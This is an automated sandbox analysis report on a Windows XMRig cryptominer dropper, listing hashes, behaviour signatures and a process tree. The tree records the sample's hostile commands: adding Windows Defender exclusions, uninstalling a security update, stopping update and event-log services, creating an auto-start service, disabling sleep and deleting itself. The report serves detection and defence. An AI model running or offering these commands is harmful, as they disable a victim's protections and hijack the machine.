Analysis

  • max time kernel
    91s
  • max time network
    66s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22-12-2024 06:52

General

  • Target

    b86f6a6d68b2e20ac18e1e571dd3c1bb4dc2000488b9f2ebec8d82ab92b40d41N.exe

  • Size

    5.6MB

  • MD5

    786beb8b1ea1badebf00dc581876e720

  • SHA1

    ed3ccb57424f8cfbb94dd45e2ccb737cfcada555

  • SHA256

    b86f6a6d68b2e20ac18e1e571dd3c1bb4dc2000488b9f2ebec8d82ab92b40d41

  • SHA512

    fb38512fca1d1a5afccdeb10becd3a43d21a0140d8e929e818e7e0b8d2e02e33c5e15654d0a35e62fad5c79597626daa2c8b874893c8a7d78c50137382e7fc1c

  • SSDEEP

    98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b86f6a6d68b2e20ac18e1e571dd3c1bb4dc2000488b9f2ebec8d82ab92b40d41N.exe
    "C:\Users\Admin\AppData\Local\Temp\b86f6a6d68b2e20ac18e1e571dd3c1bb4dc2000488b9f2ebec8d82ab92b40d41N.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1088
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:480
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2660
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2932
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:2788
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2684
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2648
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2720
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:2876
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1668
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2704
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2532
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2540
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "JIOGRCSG"
      2⤵
      • Launches sc.exe
      PID:2548
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:3008
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:1720
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "JIOGRCSG"
      2⤵
      • Launches sc.exe
      PID:1948
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\b86f6a6d68b2e20ac18e1e571dd3c1bb4dc2000488b9f2ebec8d82ab92b40d41N.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2756
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:1432
    • C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
      C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1620
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2284
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2728
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
          • Drops file in Windows directory
          PID:3020
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:2772
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:1856
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1156
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:1528
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:2628
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1872
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1636
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2156
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1864
      • C:\Windows\system32\conhost.exe
        C:\Windows\system32\conhost.exe
        2⤵
          PID:1244
        • C:\Windows\system32\nslookup.exe
          nslookup.exe
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2768

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • \ProgramData\zvycwxhpsxqt\lutlgidagtja.exe

        Filesize

        5.6MB

        MD5

        786beb8b1ea1badebf00dc581876e720

        SHA1

        ed3ccb57424f8cfbb94dd45e2ccb737cfcada555

        SHA256

        b86f6a6d68b2e20ac18e1e571dd3c1bb4dc2000488b9f2ebec8d82ab92b40d41

        SHA512

        fb38512fca1d1a5afccdeb10becd3a43d21a0140d8e929e818e7e0b8d2e02e33c5e15654d0a35e62fad5c79597626daa2c8b874893c8a7d78c50137382e7fc1c

      • memory/480-4-0x000007FEF56CE000-0x000007FEF56CF000-memory.dmp

        Filesize

        4KB

      • memory/480-5-0x000000001B520000-0x000000001B802000-memory.dmp

        Filesize

        2.9MB

      • memory/480-6-0x0000000001CD0000-0x0000000001CD8000-memory.dmp

        Filesize

        32KB

      • memory/480-7-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

        Filesize

        9.6MB

      • memory/480-10-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

        Filesize

        9.6MB

      • memory/480-9-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

        Filesize

        9.6MB

      • memory/480-8-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

        Filesize

        9.6MB

      • memory/480-11-0x000007FEF5410000-0x000007FEF5DAD000-memory.dmp

        Filesize

        9.6MB

      • memory/1244-20-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1244-18-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1244-22-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1244-25-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1244-21-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1244-19-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2284-16-0x0000000019E00000-0x000000001A0E2000-memory.dmp

        Filesize

        2.9MB

      • memory/2284-17-0x0000000000940000-0x0000000000948000-memory.dmp

        Filesize

        32KB

      • memory/2768-29-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2768-38-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2768-30-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2768-28-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2768-32-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2768-35-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2768-39-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2768-31-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2768-37-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2768-36-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2768-34-0x00000000000B0000-0x00000000000D0000-memory.dmp

        Filesize

        128KB

      • memory/2768-33-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2768-27-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2768-40-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB